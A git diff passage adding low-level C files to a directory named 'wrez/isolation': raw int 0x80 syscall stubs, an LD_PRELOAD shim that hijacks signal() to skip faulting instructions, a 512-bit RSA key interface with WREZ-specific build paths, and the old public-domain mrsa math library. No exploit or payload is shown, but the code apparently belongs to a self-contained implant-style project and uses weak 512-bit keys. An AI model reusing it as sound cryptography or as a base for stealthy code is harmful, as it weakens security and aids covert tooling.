| 562 | static inline int signal(int signum, void *handler) | ||
| 563 | { | ||
| 564 | long ret; | ||
| 565 | |||
| 566 | __asm__ __volatile__ ("int $0x80" | ||
| 567 | :"=a" (ret) | ||
| 568 | :"a" (__NR_signal), "b" ((long)signum), | ||
| 569 | "c" ((int)handler)); | ||
| 570 | return ret; | ||
| 571 | } | ||
| 572 | |||
| 573 | static inline int fork(void) | ||
| 574 | { | ||
| 575 | long ret; | ||
| 576 | |||
| 577 | __asm__ __volatile__ ("int $0x80" | ||
| 578 | :"=a" (ret) | ||
| 579 | :"0" (__NR_fork)); | ||
| 580 | |||
| 581 | return (ret); | ||
| 582 | } | ||
| 583 | |||
| 584 | |||
| 585 | #endif | ||
| 586 | |||
diff --git a/other/wrez/isolation/assfault.c b/other/wrez/isolation/assfault.c new file mode 100644 index 0000000..5f54d82 --- /dev/null +++ b/other/wrez/isolation/assfault.c | |||
| @@ -0,0 +1,107 @@ | |||
| 1 | /* | ||
| 2 | * assfault.so, 2001-09-25, anonymous@segfault.net | ||
| 3 | * | ||
| 4 | * This is unpublished proprietary source code of someone without a name... | ||
| 5 | * someone who dont need to be named.... | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * the author. | ||
| 11 | * | ||
| 12 | * Tries to catch SIGSEGV/SIGILL and continues execution flow. | ||
| 13 | * | ||
| 14 | * $ make | ||
| 15 | * $ LD_PRELOAD=./assfault.so netscape & | ||
| 16 | */ | ||
| 17 | #include <sys/types.h> | ||
| 18 | #include <sys/stat.h> | ||
| 19 | #include <sys/time.h> | ||
| 20 | #include <stdio.h> | ||
| 21 | #include <unistd.h> | ||
| 22 | #include <stdlib.h> | ||
| 23 | #include <string.h> | ||
| 24 | #include <signal.h> | ||
| 25 | #include <dlfcn.h> | ||
| 26 | |||
| 27 | #define REPLACE(a, x, y) if ( !(o_##x = dlsym(##a , ##y)) )\ | ||
| 28 | { fprintf(stderr, ##y"() not found in libc!\n");\ | ||
| 29 | exit(-1); } | ||
| 30 | |||
| 31 | |||
| 32 | static void *(*o_signal)(int, void(*)(int)); | ||
| 33 | static void *libc_handle = NULL; | ||
| 34 | static int segillcount = 0; | ||
| 35 | |||
| 36 | void | ||
| 37 | assfault_handler(int sig) | ||
| 38 | { | ||
| 39 | fprintf(stderr, "%s occured (%d)\n" | ||
| 40 | , (sig==SIGSEGV)?"SIGSEGV":"SIGILL", ++segillcount); | ||
| 41 | asm(" | ||
| 42 | movl 0x44(%ebp),%ebx | ||
| 43 | incl %ebx | ||
| 44 | movl %ebx,0x44(%ebp) | ||
| 45 | "); | ||
| 46 | } | ||
| 47 | |||
| 48 | /* | ||
| 49 | * you may want to intercept sigprocmask, sigaction, setsig, .. also | ||
| 50 | */ | ||
| 51 | void | ||
| 52 | (*signal(int signum, void (*sighandler)(int)))(int) | ||
| 53 | { | ||
| 54 | /* | ||
| 55 | * ignore if programm tries to set signal handler for SIGSEGV/SIGILL | ||
| 56 | */ | ||
| 57 | if (signum == SIGSEGV) | ||
| 58 | { | ||
| 59 | fprintf(stderr, "signal(SIGSEGV, ...) call ignored [%d]\n", getpid()); | ||
| 60 | return assfault_handler; | ||
| 61 | } | ||
| 62 | |||
| 63 | if (signum == SIGILL) | ||
| 64 | { | ||
| 65 | fprintf(stderr, "signal(SIGSILL, ...) call ignored [%d]\n", getpid()); | ||
| 66 | return assfault_handler; | ||
| 67 | } | ||
| 68 | |||
| 69 | /* | ||
| 70 | * call the original libc signal() -function | ||
| 71 | */ | ||
| 72 | return o_signal(signum, sighandler); | ||
| 73 | } | ||
| 74 | |||
| 75 | |||
| 76 | static void | ||
| 77 | assfault_init(void) | ||
| 78 | { | ||
| 79 | if ( (libc_handle = dlopen("libc.so", RTLD_NOW)) == NULL) | ||
| 80 | if ( (libc_handle = dlopen("libc.so.6", RTLD_NOW)) == NULL) | ||
| 81 | { | ||
| 82 | fprintf(stderr, "error loading libc!\n"); | ||
| 83 | exit(-1); | ||
| 84 | } | ||
| 85 | |||
| 86 | REPLACE(libc_handle, signal, "signal"); | ||
| 87 | |||
| 88 | o_signal(SIGSEGV, assfault_handler); | ||
| 89 | o_signal(SIGILL, assfault_handler); | ||
| 90 | |||
| 91 | dlclose(libc_handle); | ||
| 92 | } | ||
| 93 | |||
| 94 | |||
| 95 | /* | ||
| 96 | * this function is called by the loaded. | ||
| 97 | */ | ||
| 98 | void | ||
| 99 | _init(void) | ||
| 100 | { | ||
| 101 | if (libc_handle != NULL) | ||
| 102 | return; /* should never happen */ | ||
| 103 | |||
| 104 | fprintf(stderr, "assfault.so activated\n"); | ||
| 105 | assfault_init(); | ||
| 106 | } | ||
| 107 | |||
diff --git a/other/wrez/isolation/cipher-mrsa-interface b/other/wrez/isolation/cipher-mrsa-interface new file mode 100755 index 0000000..11c389f --- /dev/null +++ b/other/wrez/isolation/cipher-mrsa-interface | |||
| Binary files differ | |||
diff --git a/other/wrez/isolation/cipher-mrsa-interface.c b/other/wrez/isolation/cipher-mrsa-interface.c new file mode 100644 index 0000000..4096886 --- /dev/null +++ b/other/wrez/isolation/cipher-mrsa-interface.c | |||
| @@ -0,0 +1,304 @@ | |||
| 1 | /* cipher-mrsa-interface.c - interface module to the mrsa module | ||
| 2 | * | ||
| 3 | * works around some limitations, bugs and cryptographical weaknesses within | ||
| 4 | * the mrsa library | ||
| 5 | */ | ||
| 6 | |||
| 7 | #ifdef WREZ | ||
| 8 | #include "int80.h" | ||
| 9 | #include "common.h" | ||
| 10 | #include "wrutil.h" | ||
| 11 | #else | ||
| 12 | #include <sys/types.h> | ||
| 13 | #include <sys/stat.h> | ||
| 14 | #include <unistd.h> | ||
| 15 | #include <fcntl.h> | ||
| 16 | #include <stdio.h> | ||
| 17 | #include <stdlib.h> | ||
| 18 | #include <string.h> | ||
| 19 | #endif | ||
| 20 | |||
| 21 | #include "cipher-mrsa.h" | ||
| 22 | #include "cipher-mrsa-interface.h" | ||
| 23 | |||
| 24 | |||
| 25 | #ifndef WREZ | ||
| 26 | void | ||
| 27 | hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 28 | #endif | ||
| 29 | |||
| 30 | #define CLEAR_GAP_KEY RSA_SIZE | ||
| 31 | #define CLEAR_GAP_MSG 1 | ||
| 32 | |||
| 33 | int | ||
| 34 | rsa_keypair_generate (rsa_pubkey *pub, rsa_privkey *priv) | ||
| 35 | { | ||
| 36 | rsa_key key; | ||
| 37 | NN msgtest, /* test en/decryption */ | ||
| 38 | msgorig; | ||
| 39 | int fd = -1, | ||
| 40 | try_max = 10; | ||
| 41 | #ifdef WREZ | ||
| 42 | char * rndfilename; | ||
| 43 | |||
| 44 | STRINGPTR (rndfilename, "/dev/urandom"); | ||
| 45 | #else | ||
| 46 | char * rndfilename = "/dev/urandom"; | ||
| 47 | #endif | ||
| 48 | |||
| 49 | new_key: | ||
| 50 | fd = open (rndfilename, O_RDONLY); | ||
| 51 | if (fd < 0) | ||
| 52 | return (-1); | ||
| 53 | |||
| 54 | memset (pub, 0x00, sizeof (*pub)); | ||
| 55 | memset (priv, 0x00, sizeof (*priv)); | ||
| 56 | |||
| 57 | if (read (fd, msgtest, sizeof (msgtest)) != sizeof (msgtest)) | ||
| 58 | goto bail; | ||
| 59 | |||
| 60 | try_key: | ||
| 61 | memset (&key, 0x00, sizeof (key)); | ||
| 62 | if (read (fd, key.p, sizeof (key.p)) != sizeof (key.p) || | ||
| 63 | read (fd, key.q, sizeof (key.q)) != sizeof (key.q)) | ||
| 64 | { | ||
| 65 | goto bail; | ||
| 66 | } | ||
| 67 | |||
| 68 | /* NUL out highest bit (i think this works around a stall bug in | ||
| 69 | * mrsa, though i'm not quite sure what triggers it). it works with | ||
| 70 | * this code at least. | ||
| 71 | */ | ||
| 72 | #define CLEAR_UPPER(count,key) \ | ||
| 73 | { \ | ||
| 74 | int cu, co = count; \ | ||
| 75 | for (cu = (sizeof (key) - 1) ; co > 0 ; --co, --cu) \ | ||
| 76 | ((unsigned char *) key)[cu] = 0x00; \ | ||
| 77 | } | ||
| 78 | |||
| 79 | CLEAR_UPPER (CLEAR_GAP_KEY, key.p); | ||
| 80 | CLEAR_UPPER (CLEAR_GAP_KEY, key.q); | ||
| 81 | |||
| 82 | /* try to generate a key out of the random data. if that fails, try | ||
| 83 | * again or give up when we had enough tries already. | ||
| 84 | */ | ||
| 85 | if (rsa_gen (&key) == 0) { | ||
| 86 | try_max -= 1; | ||
| 87 | if (try_max > 0) | ||
| 88 | goto try_key; | ||
| 89 | |||
| 90 | goto bail; | ||
| 91 | } | ||
| 92 | |||
| 93 | close (fd); | ||
| 94 | |||
| 95 | /* public key components | ||
| 96 | */ | ||
| 97 | cp (pub->pq, key.pq); | ||
| 98 | cp (pub->e, key.e); | ||
| 99 | |||
| 100 | /* private key components | ||
| 101 | */ | ||
| 102 | cp (priv->d, key.d); | ||
| 103 | cp (priv->p, key.p); | ||
| 104 | cp (priv->q, key.q); | ||
| 105 | cp (priv->dp, key.dp); | ||
| 106 | cp (priv->dq, key.dq); | ||
| 107 | cp (priv->qp, key.qp); | ||
| 108 | |||
| 109 | /* test key to work around bug in mrsa. | ||
| 110 | * XXX: once this test succeeds the keys are safe to use and work with | ||
| 111 | * all possible input | ||
| 112 | * XXX: forbid d = 1, this is silly | ||
| 113 | */ | ||
| 114 | if (priv->d[RSA_SIZE - 1] == 0x01) | ||
| 115 | goto new_key; | ||
| 116 | memcpy (msgorig, msgtest, sizeof (msgorig)); | ||
| 117 | rsa_encrypt (pub, msgtest); | ||
| 118 | rsa_decrypt (priv, msgtest); | ||
| 119 | if (memcmp (msgtest, msgorig, sizeof (msgtest) != 0)) | ||
| 120 | goto new_key; | ||
| 121 | |||
| 122 | return (0); | ||
| 123 | |||
| 124 | bail: | ||
| 125 | if (fd != -1) | ||
| 126 | close (fd); | ||
| 127 | |||
| 128 | return (-1); | ||
| 129 | } | ||
| 130 | |||
| 131 | |||
| 132 | void | ||
| 133 | rsa_keypair_dump (int fd, rsa_pubkey *pub, rsa_privkey *priv) | ||
| 134 | { | ||
| 135 | char str[RSA_SIZE * 4 + 3]; | ||
| 136 | |||
| 137 | #define KEYOUT(key) \ | ||
| 138 | nh (str, key); \ | ||
| 139 | str[strlen (str) + 1] = '\0'; \ | ||
| 140 | str[strlen (str)] = '\n'; \ | ||
| 141 | write (fd, str, strlen (str)); | ||
| 142 | |||
| 143 | if (pub != NULL) { | ||
| 144 | KEYOUT (pub->pq); | ||
| 145 | KEYOUT (pub->e); | ||
| 146 | } | ||
| 147 | |||
| 148 | if (priv != NULL) { | ||
| 149 | KEYOUT (priv->d); | ||
| 150 | KEYOUT (priv->p); | ||
| 151 | KEYOUT (priv->q); | ||
| 152 | KEYOUT (priv->dp); | ||
| 153 | KEYOUT (priv->dq); | ||
| 154 | KEYOUT (priv->qp); | ||
| 155 | } | ||
| 156 | #undef KEYOUT | ||
| 157 | |||
| 158 | return; | ||
| 159 | } | ||
| 160 | |||
| 161 | |||
| 162 | /* rsa_keypair_import | ||
| 163 | * | ||
| 164 | * import a 512 bit rsa keypair from `fd' in human readable format to the | ||
| 165 | * `pub' and `priv' structures. each can be set to NULL to skip them. | ||
| 166 | * | ||
| 167 | * return in any case | ||
| 168 | */ | ||
| 169 | |||
| 170 | void | ||
| 171 | rsa_keypair_import (int fd, rsa_pubkey *pub, rsa_privkey *priv) | ||
| 172 | { | ||
| 173 | /* TODO */ | ||
| 174 | } | ||
| 175 | |||
| 176 | |||
| 177 | void | ||
| 178 | rsa_encrypt (rsa_pubkey *pub, unsigned char *data) | ||
| 179 | { | ||
| 180 | rsa_key key; | ||
| 181 | |||
| 182 | memset (&key, 0x00, sizeof (key)); | ||
| 183 | cp (key.pq, pub->pq); | ||
| 184 | cp (key.e, pub->e); | ||
| 185 | |||
| 186 | rsa_enc ((N) data, &key); | ||
| 187 | } | ||
| 188 | |||
| 189 | |||
| 190 | void | ||
| 191 | rsa_decrypt (rsa_privkey *priv, unsigned char *data) | ||
| 192 | { | ||
| 193 | rsa_key key; | ||
| 194 | |||
| 195 | memset (&key, 0x00, sizeof (key)); | ||
| 196 | cp (key.d, priv->d); | ||
| 197 | cp (key.p, priv->p); | ||
| 198 | cp (key.q, priv->q); | ||
| 199 | cp (key.dp, priv->dp); | ||
| 200 | cp (key.dq, priv->dq); | ||
| 201 | cp (key.qp, priv->qp); | ||
| 202 | |||
| 203 | rsa_dec ((N) data, &key); | ||
| 204 | } | ||
| 205 | |||
| 206 | |||
| 207 | #ifdef TESTING | ||
| 208 | int | ||
| 209 | main (int argc, char *argv[]) | ||
| 210 | { | ||
| 211 | int n, | ||
| 212 | fd; | ||
| 213 | rsa_pubkey pub; | ||
| 214 | rsa_privkey priv; | ||
| 215 | |||
| 216 | NN msg; | ||
| 217 | NN msg_orig; | ||
| 218 | int testcount = 100, | ||
| 219 | matchcount = 0; | ||
| 220 | |||
| 221 | n = rsa_keypair_generate (&pub, &priv); | ||
| 222 | printf ("rsa_keypair_generate () = %d\n", n); | ||
| 223 | |||
| 224 | /* dump keypair | ||
| 225 | */ | ||
| 226 | printf ("keypair\n"); | ||
| 227 | rsa_keypair_dump (2, &pub, &priv); | ||
| 228 | printf ("\n"); | ||
| 229 | |||
| 230 | /* test, get random message and encrypt / decrypt it | ||
| 231 | */ | ||
| 232 | testcrypt: | ||
| 233 | fd = open ("/dev/urandom", O_RDONLY); | ||
| 234 | read (fd, msg, sizeof (msg)); | ||
| 235 | close (fd); | ||
| 236 | CLEAR_UPPER (CLEAR_GAP_MSG, msg); | ||
| 237 | memcpy (msg_orig, msg, sizeof (msg_orig)); | ||
| 238 | // hexdump ("message", (void *) msg, sizeof (msg)); | ||
| 239 | |||
| 240 | rsa_encrypt (&pub, (unsigned char *) msg); | ||
| 241 | // hexdump ("message-encrypted", (void *) msg, sizeof (msg)); | ||
| 242 | rsa_decrypt (&priv, (unsigned char *) msg); | ||
| 243 | // hexdump ("message-decrypted", (void *) msg, sizeof (msg)); | ||
| 244 | |||
| 245 | if (memcmp (msg, msg_orig, sizeof (msg)) == 0) | ||
| 246 | matchcount += 1; | ||
| 247 | |||
| 248 | if (--testcount > 0) | ||
| 249 | goto testcrypt; | ||
| 250 | |||
| 251 | printf ("\n%d matched\n", matchcount); | ||
| 252 | |||
| 253 | return (0); | ||
| 254 | } | ||
| 255 | |||
| 256 | |||
| 257 | void | ||
| 258 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 259 | { | ||
| 260 | unsigned int dp, p; /* data pointer */ | ||
| 261 | const char trans[] = | ||
| 262 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 263 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 264 | "nopqrstuvwxyz{|}~...................................." | ||
| 265 | "....................................................." | ||
| 266 | "........................................"; | ||
| 267 | |||
| 268 | |||
| 269 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 270 | |||
| 271 | for (dp = 1; dp <= amount; dp++) { | ||
| 272 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 273 | if ((dp % 8) == 0) | ||
| 274 | fprintf (stderr, " "); | ||
| 275 | if ((dp % 16) == 0) { | ||
| 276 | fprintf (stderr, "| "); | ||
| 277 | p = dp; | ||
| 278 | for (dp -= 16; dp < p; dp++) | ||
| 279 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 280 | fflush (stderr); | ||
| 281 | fprintf (stderr, "\n"); | ||
| 282 | } | ||
| 283 | fflush (stderr); | ||
| 284 | } | ||
| 285 | if ((amount % 16) != 0) { | ||
| 286 | p = dp = 16 - (amount % 16); | ||
| 287 | for (dp = p; dp > 0; dp--) { | ||
| 288 | fprintf (stderr, " "); | ||
| 289 | if (((dp % 8) == 0) && (p != 8)) | ||
| 290 | fprintf (stderr, " "); | ||
| 291 | fflush (stderr); | ||
| 292 | } | ||
| 293 | fprintf (stderr, " | "); | ||
| 294 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 295 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 296 | fflush (stderr); | ||
| 297 | } | ||
| 298 | fprintf (stderr, "\n"); | ||
| 299 | |||
| 300 | return; | ||
| 301 | } | ||
| 302 | |||
| 303 | #endif | ||
| 304 | |||
diff --git a/other/wrez/isolation/cipher-mrsa-interface.h b/other/wrez/isolation/cipher-mrsa-interface.h new file mode 100644 index 0000000..2143945 --- /dev/null +++ b/other/wrez/isolation/cipher-mrsa-interface.h | |||
| @@ -0,0 +1,79 @@ | |||
| 1 | |||
| 2 | #ifndef CIPHER_MRSA_INTERFACE_H | ||
| 3 | #define CIPHER_MRSA_INTERFACE_H | ||
| 4 | |||
| 5 | #include "cipher-mrsa.h" | ||
| 6 | |||
| 7 | |||
| 8 | typedef struct { | ||
| 9 | NN pq; /* n = p * q */ | ||
| 10 | NN e; /* public exponent */ | ||
| 11 | } rsa_pubkey; | ||
| 12 | |||
| 13 | typedef struct { | ||
| 14 | NN d; /* private exponent */ | ||
| 15 | NN p, q; | ||
| 16 | NN dp, dq, qp; | ||
| 17 | } rsa_privkey; | ||
| 18 | |||
| 19 | |||
| 20 | /* rsa_keypair_generate | ||
| 21 | * | ||
| 22 | * generate a 512 bit rsa keypair and copy only required components into the | ||
| 23 | * appropiate structure. | ||
| 24 | * | ||
| 25 | * return 0 on success | ||
| 26 | * return != 0 on failure | ||
| 27 | */ | ||
| 28 | |||
| 29 | int | ||
| 30 | rsa_keypair_generate (rsa_pubkey *pub, rsa_privkey *priv); | ||
| 31 | |||
| 32 | |||
| 33 | /* rsa_keypair_dump | ||
| 34 | * | ||
| 35 | * output the two keys in human readable form to `fd'. when they are set to | ||
| 36 | * NULL, they are not exported. | ||
| 37 | * | ||
| 38 | * return in any case | ||
| 39 | */ | ||
| 40 | |||
| 41 | void | ||
| 42 | rsa_keypair_dump (int fd, rsa_pubkey *pub, rsa_privkey *priv); | ||
| 43 | |||
| 44 | |||
| 45 | /* rsa_keypair_import | ||
| 46 | * | ||
| 47 | * import a 512 bit rsa keypair from `fd' in human readable format to the | ||
| 48 | * `pub' and `priv' structures. each can be set to NULL to skip them. | ||
| 49 | * | ||
| 50 | * return in any case | ||
| 51 | */ | ||
| 52 | |||
| 53 | void | ||
| 54 | rsa_keypair_import (int fd, rsa_pubkey *pub, rsa_privkey *priv); | ||
| 55 | |||
| 56 | |||
| 57 | /* rsa_encrypt | ||
| 58 | * | ||
| 59 | * encrypt RSA_SIZE byte array at `data' with the public key `pub'. | ||
| 60 | * | ||
| 61 | * return in any case | ||
| 62 | */ | ||
| 63 | |||
| 64 | void | ||
| 65 | rsa_encrypt (rsa_pubkey *pub, unsigned char *data); | ||
| 66 | |||
| 67 | |||
| 68 | /* rsa_decrypt | ||
| 69 | * | ||
| 70 | * decrypt RSA_SIZE byte array at `data' with the private key `priv'. | ||
| 71 | * | ||
| 72 | * return in any case | ||
| 73 | */ | ||
| 74 | |||
| 75 | void | ||
| 76 | rsa_decrypt (rsa_privkey *priv, unsigned char *data); | ||
| 77 | |||
| 78 | #endif | ||
| 79 | |||
diff --git a/other/wrez/isolation/cipher-mrsa.c b/other/wrez/isolation/cipher-mrsa.c new file mode 100644 index 0000000..74ffb57 --- /dev/null +++ b/other/wrez/isolation/cipher-mrsa.c | |||
| @@ -0,0 +1,717 @@ | |||
| 1 | /* | ||
| 2 | * mrsa.c -- portable multiprecision math and RSA library | ||
| 3 | * 1993 Risto Paasivirta, paasivir@jyu.fi | ||
| 4 | * Public Domain, no warranty. | ||
| 5 | */ | ||
| 6 | |||
| 7 | #define MRSA_C 1 | ||
| 8 | |||
| 9 | #include "cipher-mrsa.h" | ||
| 10 | |||
| 11 | /* | ||
| 12 | * math library stuff | ||
| 13 | */ | ||
| 14 | |||
| 15 | /* | ||
| 16 | * sign = ts(N a) -- test signed, returns 1, 0 or -1 | ||
| 17 | */ | ||
| 18 | |||
| 19 | PRIVATE int | ||
| 20 | ts(N a) | ||
| 21 | { | ||
| 22 | ULONG i = RSA_SIZE; | ||
| 23 | if (a[RSA_SIZE - 1] & SIGN_BIT) | ||
| 24 | return -1; | ||
| 25 | while (i--) | ||
| 26 | if (*a++) | ||
| 27 | return 1; | ||
| 28 | return 0; | ||
| 29 | } | ||
| 30 | |||
| 31 | /* | ||
| 32 | * carry = ng(N a) -- negate, returns carry | ||
| 33 | */ | ||
| 34 | |||
| 35 | PRIVATE ULONG | ||
| 36 | ng(N a) | ||
| 37 | { | ||
| 38 | ULONG c = 0, i = RSA_SIZE; | ||
| 39 | while (i--) { | ||
| 40 | c = 0 - *a - c; | ||
| 41 | *a++ = c; | ||
| 42 | c = (c >> UNIT_BITS) & 1; | ||
| 43 | } return c; | ||
| 44 | } | ||
| 45 | |||
| 46 | /* | ||
| 47 | * cl(N a) -- clear value, a = 0 | ||
| 48 | */ | ||
| 49 | |||
| 50 | PRIVATE void | ||
| 51 | cl(N a) | ||
| 52 | { | ||
| 53 | ULONG i = 0; | ||
| 54 | while (i++ < RSA_SIZE) | ||
| 55 | *a++ = 0; | ||
| 56 | } | ||
| 57 | |||
| 58 | /* | ||
| 59 | * cp(N a, N b) -- copy, a = b | ||
| 60 | */ | ||
| 61 | |||
| 62 | PRIVATE void | ||
| 63 | cp(N a, N b) | ||
| 64 | { | ||
| 65 | ULONG i = RSA_SIZE; | ||
| 66 | while (i--) | ||
| 67 | *a++ = *b++; | ||
| 68 | } | ||
| 69 | |||
| 70 | /* | ||
| 71 | * flag = cu(a, b) -- compare unsigned, returns <0 if a<b, 0 if a==b, >0 if a>b | ||
| 72 | */ | ||
| 73 | |||
| 74 | PRIVATE int | ||
| 75 | cu(N a, N b) | ||
| 76 | { | ||
| 77 | ULONG i = RSA_SIZE; | ||
| 78 | a += RSA_SIZE; | ||
| 79 | b += RSA_SIZE; | ||
| 80 | while (i--) | ||
| 81 | if (*--a - *--b) | ||
| 82 | return (int) *a - (int) *b; | ||
| 83 | return 0; | ||
| 84 | } | ||
| 85 | |||
| 86 | /* | ||
| 87 | * carry = ad(N a, N b) -- add, a += b | ||
| 88 | */ | ||
| 89 | |||
| 90 | PRIVATE ULONG | ||
| 91 | ad(N a, N b) | ||
| 92 | { | ||
| 93 | ULONG c = 0, i = RSA_SIZE; | ||
| 94 | while (i--) { | ||
| 95 | c = *b++ + *a + c; | ||
| 96 | *a++ = c; | ||
| 97 | c >>= UNIT_BITS; | ||
| 98 | } | ||
| 99 | return c; | ||
| 100 | } | ||
| 101 | |||
| 102 | /* | ||
| 103 | * carry = sb(N a, N b) -- substract, a -= b | ||
| 104 | */ | ||
| 105 | |||
| 106 | PRIVATE ULONG | ||
| 107 | sb(N a, N b) | ||
| 108 | { | ||
| 109 | ULONG c = 0, i = RSA_SIZE; | ||
| 110 | while (i--) { | ||
| 111 | c = *a - *b++ - c; | ||
| 112 | *a++ = c; | ||
| 113 | c = (c >> UNIT_BITS) & 1; | ||
| 114 | } | ||
| 115 | return c; | ||
| 116 | } | ||
| 117 | |||
| 118 | /* | ||
| 119 | * carry = sr(N a) -- shift right, a >>= 1 | ||
| 120 | */ | ||
| 121 | |||
| 122 | PRIVATE ULONG | ||
| 123 | sr(N a) | ||
| 124 | { | ||
| 125 | ULONG c = 0, i = RSA_SIZE; | ||
| 126 | a += RSA_SIZE; | ||
| 127 | while (i--) { | ||
| 128 | c |= *--a; | ||
| 129 | *a = c >> 1; | ||
| 130 | c = (c & 1) << UNIT_BITS; | ||
| 131 | } | ||
| 132 | return c; | ||
| 133 | } | ||
| 134 | |||
| 135 | /* | ||
| 136 | * carry = sl(N a) -- shift left, a <<= 1 | ||
| 137 | */ | ||
| 138 | |||
| 139 | PRIVATE ULONG | ||
| 140 | sl(N a) | ||
| 141 | { | ||
| 142 | ULONG c = 0, i = RSA_SIZE; | ||
| 143 | while (i--) { | ||
| 144 | c |= (ULONG) * a << 1; | ||
| 145 | *a++ = c; | ||
| 146 | c = (c >> UNIT_BITS) & 1; | ||
| 147 | } | ||
| 148 | return c; | ||
| 149 | } | ||
| 150 | |||
| 151 | /* | ||
| 152 | * dm(N a, N b, N c) -- divide-modulo unsigned, a = a / b, c = a % b | ||
| 153 | */ | ||
| 154 | |||
| 155 | PRIVATE void | ||
| 156 | dm(N a, N b, N c) | ||
| 157 | { | ||
| 158 | ULONG i = RSA_SIZE * UNIT_BITS; | ||
| 159 | cl(c); | ||
| 160 | while (i--) { | ||
| 161 | sl(c); | ||
| 162 | *c |= sl(a); | ||
| 163 | if (sb(c, b)) { | ||
| 164 | ad(c, b); | ||
| 165 | } else { | ||
| 166 | *a |= 1; | ||
| 167 | } | ||
| 168 | } | ||
| 169 | } | ||
| 170 | |||
| 171 | /* | ||
| 172 | * remainder = di(N a, int n) -- divide by integer | ||
| 173 | */ | ||
| 174 | |||
| 175 | PRIVATE ULONG | ||
| 176 | di(N a, ULONG t) | ||
| 177 | { | ||
| 178 | ULONG c = 0, i = RSA_SIZE; | ||
| 179 | while (i--) { | ||
| 180 | c = (c << UNIT_BITS) | a[i]; | ||
| 181 | a[i] = c / t; | ||
| 182 | c = c % t; | ||
| 183 | } | ||
| 184 | return c; | ||
| 185 | } | ||
| 186 | |||
| 187 | /* | ||
| 188 | * mu(N a, N b) -- multiply unsigned, a *= b | ||
| 189 | */ | ||
| 190 | |||
| 191 | PRIVATE void | ||
| 192 | mu(N a, N b) | ||
| 193 | { | ||
| 194 | ULONG i = RSA_SIZE * UNIT_BITS; | ||
| 195 | NN c; | ||
| 196 | cl(c); | ||
| 197 | while (i--) { | ||
| 198 | sl(c); | ||
| 199 | if (sl(a)) | ||
| 200 | ad(c, b); | ||
| 201 | } | ||
| 202 | cp(a, c); | ||
| 203 | } | ||
| 204 | |||
| 205 | /* | ||
| 206 | * mm(N a, N b, N m) -- modular multiply, a = a * b mod m | ||
| 207 | */ | ||
| 208 | |||
| 209 | PRIVATE void | ||
| 210 | mm(N a, N b, N m) | ||
| 211 | { | ||
| 212 | ULONG i = RSA_SIZE * UNIT_BITS; | ||
| 213 | NN c; | ||
| 214 | cl(c); | ||
| 215 | while (i--) { | ||
| 216 | sl(c); | ||
| 217 | if (sb(c, m)) | ||
| 218 | ad(c, m); | ||
| 219 | if (sl(a)) | ||
| 220 | ad(c, b); | ||
| 221 | if (sb(c, m)) | ||
| 222 | ad(c, m); | ||
| 223 | } | ||
| 224 | cp(a, c); | ||
| 225 | } | ||
| 226 | |||
| 227 | /* | ||
| 228 | * pmm(N a, N b, N m, ULONG p) -- internal modmul w/precision for modexp | ||
| 229 | */ | ||
| 230 | |||
| 231 | static void | ||
| 232 | pmm(N aa, N b, N m, ULONG p) | ||
| 233 | { | ||
| 234 | ULONG k, c, j = UNIT_BITS, i; | ||
| 235 | NN v; | ||
| 236 | N a; | ||
| 237 | i = p; | ||
| 238 | cl(v); | ||
| 239 | a = aa + p; | ||
| 240 | while (!*--a | ||
| 241 | && i) | ||
| 242 | i--; | ||
| 243 | if (i) { | ||
| 244 | while (!(*a & (1 << j)) && j) | ||
| 245 | j--; | ||
| 246 | cp(v, b); | ||
| 247 | } while (i--) { | ||
| 248 | while (j--) { | ||
| 249 | for (k = 0, c = 0; k < p; k++) { | ||
| 250 | c |= (ULONG) v[k] << 1; | ||
| 251 | v | ||
| 252 | [k] = c; | ||
| 253 | c >>= UNIT_BITS; | ||
| 254 | } for (k = 0, c = 0; k < p; k++) { | ||
| 255 | c = v[k] - m[k] - c; | ||
| 256 | v[k] = c; | ||
| 257 | c = (c >> UNIT_BITS) & 1; | ||
| 258 | } if (c) | ||
| 259 | for (k = 0, c = 0; k < p; k++) { | ||
| 260 | c = v[k] + m[k] + c; | ||
| 261 | v[k] = c; | ||
| 262 | c >>= UNIT_BITS; | ||
| 263 | } if (*a & (1 << j)) { | ||
| 264 | for (k = 0, c = 0; k < p; k++) { | ||
| 265 | c = v[k] + b[k] + c; | ||
| 266 | v[k] = c; | ||
| 267 | c >>= UNIT_BITS; | ||
| 268 | } for (k = 0, c = 0; k < p; k++) { | ||
| 269 | c = v[k] - m[k] - c; | ||
| 270 | v[k] = c; | ||
| 271 | c = (c >> UNIT_BITS) & 1; | ||
| 272 | } if (c) | ||
| 273 | for (k = 0, c = 0; k < p; k++) { | ||
| 274 | c = v[k] + m[k] + c; | ||
| 275 | v[k] = c; | ||
| 276 | c >>= UNIT_BITS; | ||
| 277 | } | ||
| 278 | } | ||
| 279 | } | ||
| 280 | a--; | ||
| 281 | j = UNIT_BITS; | ||
| 282 | } | ||
| 283 | cp(aa, v); | ||
| 284 | } | ||
| 285 | |||
| 286 | /* | ||
| 287 | * em(N a, N b, N m) -- modular exponentation, a = a^b mod n | ||
| 288 | */ | ||
| 289 | |||
| 290 | PRIVATE void | ||
| 291 | em(N a, N e, N m) | ||
| 292 | { | ||
| 293 | ULONG i = RSA_SIZE, j = UNIT_BITS, p = RSA_SIZE; | ||
| 294 | NN c; | ||
| 295 | N mp; | ||
| 296 | cl(c); | ||
| 297 | *c = 1; | ||
| 298 | e += RSA_SIZE; | ||
| 299 | while (!*--e && i) | ||
| 300 | i--; | ||
| 301 | if (i) { | ||
| 302 | while (!(*e & (1 << j))) | ||
| 303 | j--; | ||
| 304 | cp(c, a); | ||
| 305 | } | ||
| 306 | mp = m + RSA_SIZE; | ||
| 307 | while (!*--mp && p) | ||
| 308 | p--; | ||
| 309 | if (*mp & SIGN_BIT && p < RSA_SIZE) | ||
| 310 | p++; | ||
| 311 | while (i--) { | ||
| 312 | while (j--) { | ||
| 313 | pmm(c, c, m, p); | ||
